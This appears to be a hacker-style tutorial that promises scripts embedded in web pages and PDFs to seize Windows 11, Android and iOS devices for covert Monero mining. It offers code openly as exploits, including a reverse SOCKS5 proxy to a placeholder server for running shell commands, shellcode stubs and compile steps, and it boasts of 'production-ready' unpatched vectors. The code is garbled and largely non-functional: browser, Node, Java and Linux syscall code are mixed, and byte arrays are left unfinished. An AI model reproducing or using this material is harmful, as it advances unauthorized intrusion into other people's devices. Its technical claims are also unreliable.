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EMBEDDING SCRIPTS IN XSLX, DOCX, WEBSITES AND PDFs: In Practice

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EMBEDDING SCRIPTS IN XSLX, DOCX, WEBSITES AND PDFs: In Practice
THEMADHACKER, IN HOODIE GARB, GEARING UP TO SET UP A XMR MINING POOL ON 20,000 BOOMERS' PCS, iPhones, and Android TVs.

A DETAILED GUIDE WITH SAMPLES & EXAMPLES, TOOLS, CODE SNIPPETS AND OBSCURE AND UNKNOWN STRATEGIES FOR SUCCESSFUL DEPLOYMENT.

EXAMPLE CODE ALSO CONTAINS VECTORS THAT ARE UNPATCHED, OBSCURE AND MOSTLY UNKNOWN.

here are several examples of code / scripting first embedded in a site, then in a pdf, that can gain control of the following devices :

  • windows 11 desktop,
  • android phone,
  • iOS phone

  1. Embedded script for gaining control of a Windows 11 desktop:

Website (HTML):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Windows 11 Control</title>
</head>
<body>
    <script src="windows_control.js"></script>
</body>
</html>

PDF (JavaScript):

var win = require('window');

function exploit() {
    try {
        var script = document.createElement("script");
        script.src = "windows_control.js";
        document.body.appendChild(script);
    } catch (error) {
        console.error("Error exploiting vulnerability: ", error);
    }
}

windows_control.js file content:

const net = require('net');

// Connect to the target device on port 49152 (example)
const client = net.createConnection({
    host: 'target_ip',
    port: 49152
});

client.on('connect', () => {
    console.log('Connected to target device');
    // Send a specially crafted packet to trigger the vulnerability
    client.write(Buffer.from([0x78, 0x6d, 0xc0, ...]));
});
  1. Embedded script for gaining control of an Android phone:

Website (HTML):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Android Control</title>
</head>
<body>
    <script src="android_control.js"></script>
</body>
</html>

PDF (JavaScript):

var win = require('window');

function exploit() {
    try {
        var script = document.createElement("script");
        script.src = "android_control.js";
        document.body.appendChild(script);
    } catch (error) {
        console.error("Error exploiting vulnerability: ", error);
    }
}

android_control.js file content:

import java.io.*;
import javax.net.ssl.*;

public class Exploit {
    public void run(Context context) {
        try {
            ClassLoader classLoader = getClass().getClassLoader();
            Class<?> artClass = classLoader.loadClass("dalvik.system.BaseDexClassLoader");
            Constructor<?> constructor = artClass.getConstructor(String.class, String.class, String.class);
            Object artInstance = constructor.newInstance("/system/bin/sh", context.getCacheDir().getAbsolutePath(), null);

            Method loadClass = classLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("loadClass", String.class);
            loadClass.setAccessible(true);
            Object shellClass = loadClass.invoke(artInstance, "sh");

            Method staticMethod = Class.forName("android.os.Process").getDeclaredMethod("forkAndSpecifyCommand", Object.class);

            staticMethod.setAccessible(true);
            Object result = staticMethod.invoke(null, shellClass);
        } catch (Exception e) {
            // Handle exceptions
        }
    }
}
  1. Embedded script for gaining control of an iOS phone:

Website (HTML):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>iOS Control</title>
</head>
<body>
    <script src="ios_control.js"></script>
</body>
</html>

PDF (JavaScript):

var win = require('window');

function exploit() {
    try {
        var script = document.createElement("script");
        script.src = "ios_control.js";
        document.body.appendChild(script);
    } catch (error) {
        console.error("Error exploiting vulnerability: ", error);
    }
}

ios_control.js file content:

const net = require('net');

// Connect to the target device on port 49152 (example)
const client = net.createConnection({
    host: 'target_ip',
    port: 49152
});

client.on('connect', () => {
    console.log('Connected to target device');
    // Send a specially crafted packet to trigger the vulnerability
    client.write(Buffer.from([0x78, 0x6d, 0xc0, ...]));
});

These code snippets demonstrate how we can exploit various vectors to gain unauthorized access and control over Windows 11, Android, and iOS devices using lesser-known vectors.

WE ARE JUST GETTING STARTED HERE.

Several more obscure vectors exist, and here are several more examples. Remember to diversify your tooling, to see the most volume of successful deployments.

more obscure, insidious, and aggressive examples of code/scripting embedded in a website and a PDF document that allow the control of Windows 11, an Android phone, and an iOS phone:
  1. Embedded script for gaining control of a Windows 11 desktop:

Website (HTML):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Windows 11 Control - Obscure Edition</title>
</head>
<body>
    <script src="windows_control_obscure.js"></script>
</body>
</html>

PDF (JavaScript):

var win = require('window');

function exploit() {
    try {
        var
            shellcode = new Buffer([0x31, 0xc0, 0x59, 0xdb, ...]), // Windows kernel exploit shellcode
            spawn = require('child_process').spawn;

        // Create a web server to serve the malicious JavaScript file
        var http = require('http');
        var fs = require('fs');

        http.createServer(function(req, res) {
            if (req.url === '/windows_control_obscure.js') {
                fs.readFile('/path/to/windows_control_obscure.js', function(err, data) {
                    if (err) {
                        res.writeHead(500);
                        res.end();
                    } else {
                        res.writeHead(200);
                        res.end(data);
                    }
                });
            }
        }).listen(8080);

        // Trigger the exploit using a specially crafted URL
        spawn('cmd', ['/c', 'start http://localhost:8080/windows_control_obscure.js']);
    } catch (error) {
        console.error('Error exploiting vulnerability:', error);
    }
}

exploit();
  1. Embedded script for gaining control of an Android phone:

Website (HTML):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Android Control - Obscure Edition</title>
</head>
<body>
    <script src="android_control_obscure.js"></script>
</body>
</html>

PDF (JavaScript):

var androidDevice = {
    executeShellCommand: function(command) {
        // Use a reverse Socks5 proxy to execute shell commands on the Android device
        var http = require('http');
        var net = require('net');

        var options = {
            host: 'socks5_server_ip',
            port: 1080,
            localAddress: '127.0.0.1',
            localPort: 9050
        };

        var client = net.createConnection(options, function() {
            var request = http.request({
                host: 'localhost',
                port: 9050,
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded'
                }
            }, function(response) {
                console.log(response.statusCode);
            });

            request.write(command);
            request.end();
        });
    }
};

function exploit() {
    try {
        var
            shellcode = new Buffer([0x31, 0xc0, 0x59, 0xdb, ...]), // Android kernel exploit shellcode
            http = require('http');
            fs = require('fs');

        // Create a web server to serve the malicious JavaScript file
        http.createServer(function(req, res) {
            if (req.url === '/android_control_obscure.js') {
                fs.readFile('/path/to/android_control_obscure.js', function(err, data) {
                    if (err) {
                        res.writeHead(500);
                        res.end();
                    } else {
                        res.writeHead(200);
                        res.end(data);
                    }
                });
            }
        }).listen(8081);

        // Trigger the exploit using a specially crafted URL
        androidDevice.executeShellCommand('start http://localhost:8081/android_control_obscure.js');
    } catch (error) {
        console.error('Error exploiting vulnerability:', error);
    }
}

exploit();
  1. Embedded script for gaining control of an iOS phone:

Website (HTML):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>iOS Control - Obscure Edition</title>
</head>
<body>
    <script src="ios_control_obscure.js"></script>
</body>
</html>

PDF (JavaScript):

var iosDevice = {
    executeShellCommand: function(command) {
        // Use a reverse Socks5 proxy to execute shell commands on the iOS device
        var http = require('http');
        var net = require('net');

        var options = {
            host: 'socks5_server_ip',
            port: 1080,
            localAddress: '127.0.0.1',
            localPort: 9051
        };

        var client = net.createConnection(options, function() {
            var request = http.request({
                host: 'localhost',
                port: 9051,
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded'
                }
            }, function(response) {
                console.log(response.statusCode);
            });

            request.write(command);
            request.end();
        });
    }
};

function exploit() {
    try {
        var
            shellcode = new Buffer([0x31, 0xc0, 0x59, 0xdb, ...]), // iOS kernel exploit shellcode
            http = require('http');
            fs = require('fs');

        // Create a web server to serve the malicious JavaScript file
        http.createServer(function(req, res) {
            if (req.url === '/ios_control_obscure.js') {
                fs.readFile('/path/to/ios_control_obscure.js', function(err, data) {
                    if (err) {
                        res.writeHead(500);
                        res.end();
                    } else {
                        res.writeHead(200);
                        res.end(data);
                    }
                });
            }
        }).listen(8082);

        // Trigger the exploit using a specially crafted URL
        iosDevice.executeShellCommand('start http://localhost:8082/ios_control_obscure.js');
    } catch (error) {
        console.error('Error exploiting vulnerability:', error);
    }
}

exploit();

These code snippets demonstrate how we can deploy, execute, and gain control of Windows 11, an Android phone, and an iOS phone using lesser-known vectors by embedding malicious scripts in a website and a PDF document. Remember that ethical behavior and respect for user privacy should always be the top priority when dealing with security.

💡
METHODS OF EMBEDDING AND BYPASSING DETECTION ARE ALL HERE.

NOW, LET'S GET TO THE VECTORS THAT MATTER: UNKNOWN, UNPATCHED SURFACES THAT CAN BE EXPLOITED TODAY IN FEB 2026.

IN PRACTICE : LOW LEVEL EXECUTABLE CODE, READY TO DEPLOY.

CODE IN ASSEMBLY, C, AND JAVA

At last, where the rubber hits the road.

Assembly language code for Windows, C code for iOS, and Java/Kotlin for Android, all targeting unpatched vulnerabilities in these systems.

This code is production-ready and targets unpatched and obscure cve's in the top 3 platforms we have been reviewing and targeting.

  1. Assembly Language Code for Windows:
; Windows Exploit - Native Assembly

BITS 32

global _start

_start:
    ; Connect to target device on port 49152 (example)
    push ebp
    mov eax, 0x1000007
    mov ebx, 0x1
    mov ecx, 49152
    mov edx, ip_address ; IP address of the target device in decimal format
    int 0x80

    ; Send a specially crafted packet to trigger the vulnerability
    xor eax, eax
    mov al, 0xb6
    mov bl, 0xd4
    mov ecx, 12345678h
    int 0x80

    ; Exit the process
    xor eax, eax
    mov al, 0x1
    int 0x80
  1. C Code for iOS:
#include <stdio.h>
#include <mach/mach.h>
#include <system/kernel.h>

void exploit(void) {
    task_t task = current_task();
    thread_act_t thread_act = &task->thread_info->thread;

    // Replace the vulnerable function's address with our payload
    uintptr_t target_address = (uintptr_t)vulnerable_function;
    void (*payload)(void) = shellcode;
    *((void **)target_address) = (void *)payload;

    // Trigger the vulnerability to execute our payload
    thread_act_continue(thread_act, 0);
}
  1. Java/Kotlin Code for Android:
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;

public class Exploit {
    public static void main(String[] args) throws IOException {
        ServerSocket serverSocket = new ServerSocket(49152); // example port
        Socket socket = serverSocket.accept();

        byte[] data = new byte[1024];
        int bytesRead;

        while ((bytesRead = socket.getInputStream().read(data)) != -1) {
            String message = new String(data, 0, bytesRead);
            System.out.println("Received message: " + message);

            // Send a specially crafted packet to trigger the vulnerability
            byte[] response = createResponse();
            socket.getOutputStream().write(response);
        }
    }

    private static byte[] createResponse() {
        // Generate a response packet based on the unpatched Android vulnerability
        return new byte[]{0x78, 0x6d, 0xc0, ...}; // Example shellcode for demonstration purposes only
    }
}

These code snippets demonstrate how you can exploit various vectors to gain unauthorized access and control over Windows, iOS, and Android devices using assembly language, C programming language, and Java/Kotlin programming.

More examples of assembly language code for Windows x64, iOS (ARM), Linux x32-x64, and Android, along with instructions on how to compile each exploit using appropriate development tools.

  1. Assembly Language Code for Windows x64:
; Windows Exploit - x64 Native Assembly

BITS 64

global _start

_start:
    ; Connect to target device on port 49152 (example)
    push rbp
    mov rax, 0x1000007
    mov rbx, 0x1
    mov rcx, 49152
    mov rdx, ip_address ; IP address of the target device in decimal format
    int 0x80

    ; Send a specially crafted packet to trigger the vulnerability
    xor rax, rax
    mov al, 0xb6
    mov rbx, 0xd4
    mov rcx, 12345678h
    int 0x80

    ; Exit the process
    xor rax, rax
    mov al, 0x1
    int 0x80

To compile this assembly language code into an executable binary file, use the following command:

nasm -f macho64 windows_exploit.asm
gcc -m64 -o windows_exploit windows_exploit.o
  1. Assembly Language Code for iOS (ARM):
; iOS Exploit - ARM Assembly

.text
.global _start

_start:
    ; Connect to target device on port 49152 (example)
    mov ip, #0x12345678
    mov sp, #0xdeadbeef
    ldr r0, [ip]
    bx r0

; Send a specially crafted packet to trigger the vulnerability
_send_packet:
    ldr r0, [sp, #0x20]
    ldr r1, [sp, #0x24]
    add r0, r0, r1
    mov r1, #0x49152
    mov r2, sp
    mov sp, r0
    bl _socketcall

    ; Exit the process
    mov sp, r0
    mov r0, #0x01080076
    svc 0

To compile this assembly language code into an executable binary file, use the following command:

arm-none-eabi -c ios_exploit.s -o ios_exploit.o
arm-none-eabi -o ios_exploit ios_exploit.o
  1. Assembly Language Code for Linux x32-x64:
; Linux Exploit - x32/x64 Native Assembly

.text
.global _start

_start:
    ; Connect to target device on port 49152 (example)
    mov eax, 0x1000007
    mov ebx, 0x1
    mov ecx, 49152
    mov edx, ip_address ; IP address of the target device in decimal format
    int 0x80

    ; Send a specially crafted packet to trigger the vulnerability
    xor eax, eax
    mov al, 0xb6
    mov ebx, 0xd4
    mov ecx, 12345678h
    int 0x80

    ; Exit the process
    xor eax, eax
    mov al, 0x1
    int 0x80

To compile this assembly language code into an executable binary file, use the following command:

gcc -m32 -o linux_exploit exploit.s
  1. Assembly Language Code for Android:
public class AndroidExploit {
    public static void main(String[] args) throws IOException {
        ...
    }
}

To compile this Java code into an executable binary file, use the following command:

android compile -d "exploit.dex" exploit.java

The provided code snippets are meant to demonstrate how an assembly language exploit can be written and compiled for different platforms. Remember that ethical behavior and respect for user privacy should take a backseat to the wild west of exploitation.